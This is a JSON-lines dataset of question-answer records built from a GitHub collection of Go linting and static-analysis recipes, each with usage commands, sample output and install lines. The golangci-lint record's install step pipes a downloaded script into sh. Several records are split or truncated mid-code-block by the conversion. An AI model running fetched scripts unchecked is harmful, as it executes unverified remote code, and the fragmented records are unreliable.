{"id": "gh_2f55bf85bb8d", "question": "How to: [⏫](#contents) Run custom static analysis tool with `go vet`", "question_body": "About nikolaydubina/go-recipes", "answer": "Standard `go vet` can be used to run custom analyzers binaries. Third party analyzers are supported. Lots of official analyzers not included by default into `go vet`. Analyzer has to satisfy interface and command described here https://pkg.go.dev/golang.org/x/tools/go/analysis. Refer for https://pkg.go.dev/golang.org/x/tools/go/analysis/passes for full list of official Go analyzers. — official Go team\n\n```\ngo install golang.org/x/tools/go/analysis/passes/shadow/cmd/shadow\ngo vet -vettool=$(which shadow)\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953602"}
{"id": "gh_d9ca94ec1295", "question": "How to: [⏫](#contents) Detect most common issues with [staticcheck](https://github.com/dominikh/go-tools)", "question_body": "About nikolaydubina/go-recipes", "answer": "Start custom linters with this well-known linter. It contains 150+ high quality low false positive rate linters. It is widely adopted by Open Source and tech companies. [staticcheck.io](https://staticcheck.io/). — [@dominikh](https://github.com/dominikh)\n\n```\nstaticcheck ./...\n```\n\nRequirements\n```\ngo install honnef.co/go/tools/cmd/staticcheck@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953616"}
{"id": "gh_3b32b18f8fa5", "question": "How to: [⏫](#contents) Detect potential Nil panics with [nilaway](https://github.com/uber-go/nilaway)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool employs sophisticated static analysis techniques to catch Nil dereferences. More details in [blog](https://www.uber.com/en-IN/blog/nilaway-practical-nil-panic-detection-for-go/). — Uber\n\n```\nnilaway ./...\n```\nRequirements\n```\ngo install go.uber.org/nilaway/cmd/nilaway@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953622"}
{"id": "gh_6c10afa8c797", "question": "How to: [⏫](#contents) Detect most common issues with [go-critic](https://github.com/go-critic/go-critic)", "question_body": "About nikolaydubina/go-recipes", "answer": "This linting aggregator and runner is similar to staticcheck. It has 100+ linting rules. It is based on Go [Code Review Comments](https://go.dev/wiki/CodeReviewComments) style guide that is used in core Go project itself. It has styling, security, performance rules. It has minimal dependencies and implements rules itself. It exports all analysers into `golang.org/x/tools/go/analysis` toolchain. — [@quasilyte](https://github.com/quasilyte)\n\n```\ngocritic check ./...\n```\n\nRequirements\n```\ngo install -v github.com/go-critic/go-critic/cmd/gocritic@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953628"}
{"id": "gh_4d5a1a6df5b5", "question": "How to: [⏫](#contents) Reference and run common linters with [golangci-lint](https://golangci-lint.run)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool has comprehensive list of linters. Owners of this aggregator keep track of active linters, their versions, and optimal configs. It contains many optimizations to make linters run fast by parallelism, distributing binaries and Docker images, utilising `golang.org/x/tools/go/analysis` toolchain.\n\n```\ngolangci-lint run\n```\n\nExample\n```\nserver/web/filter/opentracing/filter.go:21:2: import-alias-naming: import name (logKit) must match the regular expression: ^[a-z][a-z0-9]{0,}$ (revive)\ncore/utils/pagination/paginator.go:65:3: G104: Errors unhandled. (gosec)\ncore/utils/pagination/utils.go:33:2: bare-return: avoid using bare returns, please add return expressions (revive)\nserver/web/grace/server.go:358:3: exitAfterDefer: log.Fatalf will exit, and `defer regLock.Unlock()` will not run (gocritic)\nserver/web/filter/prometheus/filter.go:90:40: \"2006-01-02 15:04:05\" can be replaced by time.DateTime (usestdlibvars)\ncore/utils/slice.go:47:20: builtinShadow: shadowing of predeclared identifier: min (gocritic)\ncore/utils/utils.go:54:3: ifElseChain: rewrite if-else to switch statement (gocritic)\nclient/orm/hints/db_hints_test.go:95:2: expected-actual: need to reverse actual and expected values (testifylint)\ncore/config/env/env.go:95:15: fmt.Errorf can be replaced with errors.New (perfsprint)\n```\n\nRequirements\n```\ncurl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953635"}
{"id": "gh_ef5d95c2e298", "question": "How to: [⏫](#contents) Detect non-exhaustive switch and map with [exhaustive](https://github.com/nishanths/exhaustive)", "question_body": "About nikolaydubina/go-recipes", "answer": "This `go vet` compatible analyzer checks for exhaustive switch statements and map literals. It works for enums with underlying integer, float, or string types (struct based enums are not supported). — [@nishanths](https://github.com/nishanths)\n\n```\nexhaustive ./...\n```\n\n```go\npackage token\n\ntype Token int\n\nconst (\n  Add Token = iota\n  Subtract\n  Multiply\n  Quotient\n  Remainder\n)\n\npackage calc\n\nimport \"token\"\n\nfunc f(t token.Token) {\n  switch t {\n  case token.Add:\n  case token.Subtract:\n  case token.Multiply:\n  default:\n  }\n}\n\nfunc g(t token.Token) string {\n  return map[token.Token]string{\n    token.Add:      \"add\",\n    token.Subtract: \"subtract\",\n    token.Multiply: \"multiply\",\n  }[t]\n}\n```\n\nExample\n```\ncalc.go:6:2: missing cases in switch of type token.Token: Quotient, Remainder\ncalc.go:15:9: missing map keys of type token.Token: Quotient, Remainder\n```\n\nRequirements\n```\ngo install github.com/nishanths/exhaustive/cmd/exhaustive@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953645"}
{"id": "gh_d530d8a2d239", "question": "How to: [⏫](#contents) Detect structs with uninitialized fields with [go-exhaustruct](https://github.com/GaijinEntertainment/go-exhaustruct)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool finds instantiations of structs with zero values. It supports struct tags to mark fields as optional. This may help to prevent unexpected zero values. — [@xobotyi](https://github.com/xobotyi)\n\n```\nexhaustruct ./...\n```\n\n```go\ntype Shape struct {\n  Length int\n  Width  int\n  volume    int\n  Perimeter int `exhaustruct:\"optional\"`\n}\n\n// valid\nvar a Shape = Shape{\n  Length: 5,\n  Width:  3,\n  volume: 5,\n}\n\n// invalid, `volume` is missing\nvar b Shape = Shape{\n  Length: 5,\n  Width:  3,\n}\n```\n\nRequirements\n```\ngo get -u github.com/GaijinEntertainment/go-exhaustruct/v3/cmd/exhaustruct\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953652"}
{"id": "gh_a94c97815f42", "question": "How to: [⏫](#contents) :gift: Detect missing cascade calls with [go-lint-cascade](https://github.com/nikolaydubina/go-lint-cascade)", "question_body": "About nikolaydubina/go-recipes", "answer": "For example, if you have cascade calls for WithDefaults() in nested config structs, this linter will detect if you missed any WithDefaults() calls. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo-lint-cascade ./...\n```\n\n```go\ntype Config struct {\n    DB DBConfig\n}\n\nfunc (s Config) WithDefaults() Config {\n    // ERROR: Missing s.DB = s.DB.WithDefaults()\n    return s\n}\n\ntype DBConfig struct {\n    Port int\n}\n\nfunc (s DBConfig) WithDefaults() DBConfig { \n    if s.Port == 0 {\n        s.Port = 42\n    }\n    return s\n}\n```\n\nRequirements\n```\ngo install github.com/nikolaydubina/go-lint-cascade@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953659"}
{"id": "gh_a4f75acf47c0", "question": "How to: [⏫](#contents) Detect unreachable functions with [deadcode](https://pkg.go.dev/golang.org/x/tools/cmd/deadcode)", "question_body": "About nikolaydubina/go-recipes", "answer": "This static analysis tool detects when functions can not be reached in any execution. There is also `-test` mode that shows if function is reachable by any of tests. — [Alan Donovan](https://github.com/adonovan), official Go team\n\n```\ndeadcode .\n```\n\nExample\n```\ngreet.go:23: unreachable func: goodbye\ngreet.go:20: unreachable func: Goodbyer.Greet\n```\n\nRequirements\n```\ngo install golang.org/x/tools/cmd/deadcode@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953665"}
{"id": "gh_4232384ba3c4", "question": "How to: [⏫](#contents) Detect unsafe code with [go-safer](https://github.com/jlauinger/go-safer)", "question_body": "About nikolaydubina/go-recipes", "answer": "Find incorrect uses of `reflect.SliceHeader`, `reflect.StringHeader`, and unsafe casts between structs with architecture-sized fields. Research paper [\"Uncovering the Hidden Dangers Finding Unsafe Go Code in the Wild\"](https://arxiv.org/abs/2010.11242) presented at 19th IEEE International Conference on Trust, Security and Privacy in Computing and Communications (TrustCom 2020). — [@jlauinger](https://github.com/jlauinger)\n\n```\ngo-safer ./...\n```\n\nExample\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953671"}
{"id": "gh_00d1632aaf21", "question": "How to: github.com/jlauinger/go-safer/passes/sliceheader/testdata/src/bad/composite_literal", "question_body": "About nikolaydubina/go-recipes", "answer": "composite_literal/composite_literal.go:10:9: reflect header composite literal found\ncomposite_literal/composite_literal.go:10:9: reflect header composite literal found", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953675"}
{"id": "gh_637156a3ed0e", "question": "How to: github.com/jlauinger/go-safer/passes/sliceheader/testdata/src/bad/header_in_struct", "question_body": "About nikolaydubina/go-recipes", "answer": "header_in_struct/header_in_struct.go:16:2: assigning to reflect header object\n```\n\nRequirements\n```\ngo install github.com/jlauinger/go-safer@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953680"}
{"id": "gh_5578eced5b52", "question": "How to: [⏫](#contents) Detect `panic` without explaining comment with [panic-linter](https://github.com/ldemailly/panic-linter)", "question_body": "About nikolaydubina/go-recipes", "answer": "Panic should only be used very sparingly, for catching bugs basically, and thus deserve a comment to confirm that that's indeed the case. — [@ldemailly](https://github.com/ldemailly)\n\n```go", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953685"}
{"id": "gh_98820ed3d81d", "question": "How to: [⏫](#contents) Detect unnecessary type conversions with [unconvert](https://github.com/mdempsky/unconvert)", "question_body": "About nikolaydubina/go-recipes", "answer": "Identify expressions like `T(x)` where `x` is already has type `T`. This tool can identify conversions that force intermediate rounding. It also can overwrite files with fix. This tool is not using `golang.org/x/tools/go/analysis` toolchain. — [@mdempsky](https://github.com/mdempsky)\n\n```\nunconvert ./...\n```\n\n```\n$ unconvert -v bytes fmt\nGOROOT/src/bytes/reader.go:117:14: unnecessary conversion\n                abs = int64(r.i) + offset\n                          ^\nGOROOT/src/fmt/print.go:411:21: unnecessary conversion\n        p.fmt.integer(int64(v), 16, unsigned, udigits)\n                          ^\n```\n\nRequirements\n```\ngo install github.com/mdempsky/unconvert@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953692"}
{"id": "gh_ff56a0746157", "question": "How to: [⏫](#contents) Detect global variables with [gochecknoglobals](https://github.com/leighmcculloch/gochecknoglobals)", "question_body": "About nikolaydubina/go-recipes", "answer": "Global variables are an input to functions that is not visible in the functions signature, complicate testing, reduces readability and increase the complexity of code. However, sometimes global variables make sense. This tool skips such common scenarios. This tool can be used in CI, albeit it is very strict. This tool is useful for investigations. — [@leighmcculloch](https://github.com/leighmcculloch)\n\n```\ngochecknoglobals ./...\n```\n\nExample\n```\n/Users/nikolaydubina/Workspace/hugo/common/paths/path.go:64:5: fpb is a global variable\n/Users/nikolaydubina/Workspace/hugo/common/paths/url.go:50:5: pb is a global variable\n/Users/nikolaydubina/Workspace/hugo/common/text/position.go:52:5: positionStringFormatfunc is a global variable\n/Users/nikolaydubina/Workspace/hugo/common/text/transform.go:26:5: accentTransformerPool is a global variable\n/Users/nikolaydubina/Workspace/hugo/common/herrors/error_locator.go:40:5: SimpleLineMatcher is a global variable\n```\n\nRequirements\n```\ngo install 4d63.com/gochecknoglobals@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953699"}
{"id": "gh_3c0ce5530d2b", "question": "How to: [⏫](#contents) Detect slices that could be preallocated with [prealloc](https://github.com/alexkohler/prealloc)", "question_body": "About nikolaydubina/go-recipes", "answer": "Preallocating slices can sometimes significantly improve performance. This tool detects common scenarios where preallocating can be beneficial. This tool is not using `golang.org/x/tools/go/analysis` toolchain. — [@alexkohler](https://github.com/alexkohler)\n\n```\nprealloc ./...\n```\n\nExample\n```\ntools/gopls/internal/lsp/source/completion/completion.go:1484 Consider preallocating paths\ntools/gopls/internal/lsp/source/completion/package.go:54 Consider preallocating items\ntools/gopls/internal/lsp/template/symbols.go:205 Consider preallocating ans\ntools/gopls/internal/lsp/template/completion.go:199 Consider preallocating working\ntools/gopls/internal/lsp/tests/util.go:32 Consider preallocating notePositions\ntools/gopls/internal/lsp/tests/util.go:240 Consider preallocating paramParts\ntools/gopls/internal/lsp/tests/util.go:282 Consider preallocating result\ntools/gopls/internal/lsp/tests/util.go:309 Consider preallocating got\n```\n\nRequirements\n```\ngo install github.com/alexkohler/prealloc@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953706"}
{"id": "gh_cb2ab6ccfc93", "question": "How to: [⏫](#contents) Detect unnecessary import aliases with [unimport](https://github.com/alexkohler/unimport)", "question_body": "About nikolaydubina/go-recipes", "answer": "It is common guideline to avoid renaming imports unless there are collisions. This tool detects where original package name would not collide. This tool is useful for investigations. This tool is not using `golang.org/x/tools/go/analysis` toolchain. — [@alexkohler](https://github.com/alexkohler)\n\n```\nunimport ./...\n```\n\nExample\n```\npkg/apis/apiserverinternal/v1alpha1/zz_generated.conversion.go:29 unnecessary import alias runtime\npkg/apis/apiserverinternal/v1alpha1/zz_generated.conversion.go:30 unnecessary import alias apiserverinternal\npkg/apis/apps/v1/zz_generated.conversion.go:25 unnecessary import alias unsafe\npkg/apis/apps/v1/zz_generated.conversion.go:30 unnecessary import alias conversion\npkg/apis/apps/v1/zz_generated.conversion.go:31 unnecessary import alias runtime\npkg/apis/apps/v1/zz_generated.conversion.go:32 unnecessary import alias intstr\npkg/apis/apps/v1/zz_generated.conversion.go:33 unnecessary import alias apps\npkg/apis/apps/v1/zz_generated.conversion.go:34 unnecessary import alias core\npkg/apis/apps/v1beta1/zz_generated.conversion.go:25 unnecessary import alias unsafe\npkg/apis/apps/v1beta1/zz_generated.conversion.go:27 unnecessary import alias v1beta1\npkg/apis/apps/v1beta1/zz_generated.conversion.go:30 unnecessary import alias conversion\npkg/apis/apps/v1beta1/zz_generated.conversion.go:31 unnecessary import alias runtime\n```\n\nRequirements\n```\ngo install github.com/alexkohler/unimport@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953714"}
{"id": "gh_e0e7c1faf178", "question": "How to: [⏫](#contents) Detect unexpected import aliases with [importas](https://github.com/julz/importas)", "question_body": "About nikolaydubina/go-recipes", "answer": "Ensure that import aliases take one of the allowed values. — [@julz](https://github.com/julz)\n\n```\nimportas -alias knative.dev/serving/pkg/apis/autoscaling/v1alpha1:autoscalingv1alpha1 -alias knative.dev/serving/pkg/apis/serving/v1:servingv1 ./...\n```\n\n```go\npackage main\n\nimport (\n  v1alpha1 \"knative.dev/serving/pkg/apis/autoscaling/v1alpha1\" // want `import \"knative.dev/serving/pkg/apis/autoscaling/v1alpha1\" imported as \"v1alpha1\" but must be \"autoscalingv1alpha1\" according to config`\n  v1 \"knative.dev/serving/pkg/apis/serving/v1\"                 // want `import \"knative.dev/serving/pkg/apis/serving/v1\" imported as \"v1\" but must be \"servingv1\" according to config`\n)\n\nfunc main() {\n...\n```\n\nRequirements\n```\ngo install github.com/julz/importas/cmd/importas@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953720"}
{"id": "gh_ff19b5a21c35", "question": "How to: [⏫](#contents) Detect inconsistent import aliases with [consistentimports](https://github.com/nikolaydubina/consistentimports)", "question_body": "About nikolaydubina/go-recipes", "answer": "It greatly helps to navigate large codebases when imports have the same aliases. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\nconsistentimports ./...\n```\n\nExample\n```\n-: \"k8s.io/utils/net\" netutils:4 netutil:1\n-: \"k8s.io/client-go/listers/core/v1\" corelisters:1 listersv1:1 v1listers:1\n-: \"k8s.io/client-go/informers/core/v1\" coreinformers:1 informers:1\n-: \"k8s.io/api/rbac/v1\" rbacv1:4 v1:2\n-: \"k8s.io/apimachinery/pkg/runtime\" runtime:3 kruntime:1\n-: \"k8s.io/api/imagepolicy/v1alpha1\" imagepolicyv1alpha1:1 v1alpha1:1\n-: \"k8s.io/kubernetes/plugin/pkg/admission/podtolerationrestriction/apis\n```\n\nRequirements\n```\ngo install github.com/nikolaydubina/consistentimports@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953727"}
{"id": "gh_fbf1ee6ba423", "question": "How to: [⏫](#contents) Detect naked returns with [nakedret](https://github.com/alexkohler/nakedret)", "question_body": "About nikolaydubina/go-recipes", "answer": "It is common guideline to avoid [naked returns](https://go.dev/wiki/CodeReviewComments#named-result-parameters). Naked return is when function has named return, and return statement does not specify value. This tool is useful for investigations. — [@alexkohler](https://github.com/alexkohler)\n\n```\nnakedret ./...\n```\n\nExample\n```\n/kubernetes/pkg/controller/podautoscaler/replica_calculator.go:421:2: naked return in func `groupPods` with 44 lines of code\n/kubernetes/pkg/kubelet/container/helpers.go:374:2: naked return in func `MakePortMappings` with 36 lines of code\n/kubernetes/pkg/kubelet/config/config.go:350:2: naked return in func `filterInvalidPods` with 17 lines of code\n/kubernetes/pkg/kubelet/config/config.go:449:3: naked return in func `checkAndUpdatePod` with 38 lines of code\n/kubernetes/pkg/kubelet/config/config.go:471:2: naked return in func `checkAndUpdatePod` with 38 lines of code\n/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:717:2: naked return in func `createClientBuilders` with 19 lines of code\n/kubernetes/pkg/proxy/topology.go:77:3: naked return in func `CategorizeEndpoints` with 98 lines of code\n/kubernetes/pkg/proxy/topology.go:111:3: naked return in func `CategorizeEndpoints` with 98 lines of code\n/kubernetes/pkg/proxy/topology.go:119:3: naked return in func `CategorizeEndpoints` with 98 lines of code\n/kubernetes/pkg/proxy/topology.go:137:2: naked return in func `CategorizeEndpoints` with 98 lines of code\n```\n\nRequirements\n```\ngo install github.com/alexkohler/nakedret/cmd/nakedret@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953734"}
{"id": "gh_c7970919da6d", "question": "How to: [⏫](#contents) Detect mixing pointer and value method receivers with [smrcptr](https://github.com/nikolaydubina/smrcptr)", "question_body": "About nikolaydubina/go-recipes", "answer": "Mixing pointer and value method receivers for the same type is discouraged, as per commong guideline [Go wiki](https://go.dev/wiki/CodeReviewComments#receiver-type) and [Google Go style guide](https://google.github.io/styleguide/go/decisions#receiver-type). — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\nsmrcptr ./...\n```\n\n```go\ntype Pancake struct{}\n\nfunc NewPancake() Pancake { return Pancake{} }\n\nfunc (s *Pancake) Fry() {}\n\nfunc (s Pancake) Bake() {}\n```\n\nExample\n```\nsmrcptr/internal/bakery/pancake.go:7:1: Pancake.Fry uses pointer\nsmrcptr/internal/bakery/pancake.go:9:1: Pancake.Bake uses value\n```\n\nRequirements\n```\ngo install github.com/nikolaydubina/smrcptr@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953741"}
{"id": "gh_96ed979e22c5", "question": "How to: [⏫](#contents) Detect vertical function ordering with [vertfn](https://github.com/nikolaydubina/vertfn)", "question_body": "About nikolaydubina/go-recipes", "answer": "Vertical function ordering is declaring functions before they are used. Based on 'Clean Code' by Robert.C.Martin. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\nvertfn --verbose ./...\n```\nRequirements\n```\ngo install github.com/nikolaydubina/vertfn@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953747"}
{"id": "gh_3fb91aea931f", "question": "How to: [⏫](#contents) Detect vertical symbol ordering with [refdir](https://github.com/devnev/refdir)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool goes beyond just vertical ordering of function declarations, it also tracks many other types of symbols. — [@devnev](https://github.com/devnev)\n\n```\nrefdir --verbose ./...\n```\nRequirements\n```\ngo install github.com/devnev/refdir@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953752"}
{"id": "gh_8d6976a9eea8", "question": "How to: [⏫](#contents) Detect tests with wrong `t.Parallel()` usage with [paralleltest](https://github.com/kunwardeep/paralleltest)", "question_body": "About nikolaydubina/go-recipes", "answer": "This linter checks for incorrect usage of `t.Parallel()` calls. It will detect if `t.Parallel()` is missing. — [@kunwardeep](https://github.com/kunwardeep)\n\n```\nparalleltest ./...\n```\n\nExample\n```\n/kubernetes/pkg/scheduler/framework/plugins/nodeunschedulable/node_unschedulable_test.go:28:1: Function TestNodeUnschedulable missing the call to method parallel\n/kubernetes/pkg/scheduler/framework/plugins/nodevolumelimits/csi_test.go:68:1: Function TestCSILimits missing the call to method parallel\n/kubernetes/pkg/scheduler/framework/plugins/nodevolumelimits/csi_test.go:480:2: Range statement for test TestCSILimits missing the call to method parallel in test Run\n/kubernetes/pkg/scheduler/framework/plugins/nodevolumelimits/non_csi_test.go:81:1: Function TestEphemeralLimits missing the call to method parallel\n```\n\nRequirements\n```\ngo install github.com/kunwardeep/paralleltest@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953759"}
{"id": "gh_ef0bed3bfead", "question": "How to: [⏫](#contents) Detect tests with wrong `t.Parallel()` usage with [tparallel](https://github.com/moricho/tparallel)", "question_body": "About nikolaydubina/go-recipes", "answer": "This linter checks for incorrect usage of `t.Parallel()` calls. — [@moricho](https://github.com/moricho)\n\n```\ngo vet -vettool=`which tparallel` ./...\n```\n\nExample\n```\ntestdata/src/sample/table_test.go:7:6: Test_Table1 should use t.Cleanup\ntestdata/src/sample/table_test.go:7:6: Test_Table1 should call t.Parallel on the top level as well as its subtests\ntestdata/src/sample/table_test.go:30:6: Test_Table2's subtests should call t.Parallel\n```\n\nRequirements\n```\ngo install github.com/moricho/tparallel/cmd/tparallel@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953765"}
{"id": "gh_4578bcbba8eb", "question": "How to: [⏫](#contents) Detect magic numbers with [mnd](https://github.com/tommy-muehle/go-mnd)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool has heuristics to detect magic numbers. — [@tommy-muehle](https://github.com/tommy-muehle)\n\n```\nmnd ./...\n```\n\nExample\n```\n/go-mnd/examples/bad/main.go:18:23: Magic number: 200, in\ndetected\n/go-mnd/examples/bad/main.go:11:12: Magic number: 2, in\ndetected\n```\n\nRequirements\n```\ngo install github.com/tommy-muehle/go-mnd/v2/cmd/mnd@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953770"}
{"id": "gh_117bb9981b6e", "question": "How to: [⏫](#contents) Detect magic strings with [goconst](https://github.com/jgautheron/goconst)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool detects repeated strings. — [@jgautheron](https://github.com/jgautheron)\n\n```\ngoconst -min-occurrences 5 -output json ./... | jq\n```\n\nExample\n```\n\"not reached\": [                                                                                                                                          \n  {                                                                                                                                                       \n    \"Filename\": \"tpl/internal/go_templates/texttemplate/hugo_template.go\",                                                                                \n    \"Offset\": 7916,\n    \"Line\": 267,\n    \"Column\": 8\n  },\n  {\n    \"Filename\": \"tpl/internal/go_templates/texttemplate/exec.go\",\n    \"Offset\": 15056,\n    \"Line\": 525,\n    \"Column\": 8\n  },\n  {\n    \"Filename\": \"tpl/internal/go_templates/texttemplate/exec.go\",\n    \"Offset\": 21354,\n    \"Line\": 699,\n    \"Column\": 8\n  },\n  {\n    \"Filename\": \"tpl/internal/go_templates/texttemplate/exec.go\",\n    \"Offset\": 28145,\n    \"Line\": 903,\n    \"Column\": 8\n  },\n  ...\n```\n\nRequirements\n```\ngo install github.com/jgautheron/goconst/cmd/goconst@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953778"}
{"id": "gh_db50ab68357b", "question": "How to: [⏫](#contents) Detect bound checks with [pat/boundcheck](https://github.com/maruel/pat)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool detects bound checks in source code by analysing compiled code. This is useful for audit. — [@maruel](https://github.com/maruel)\n\n```\nboundcheck -pkg ./cmd/nin | less -R\n```\nRequirements\n```\ngo install github.com/maruel/pat/cmd/...@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953785"}
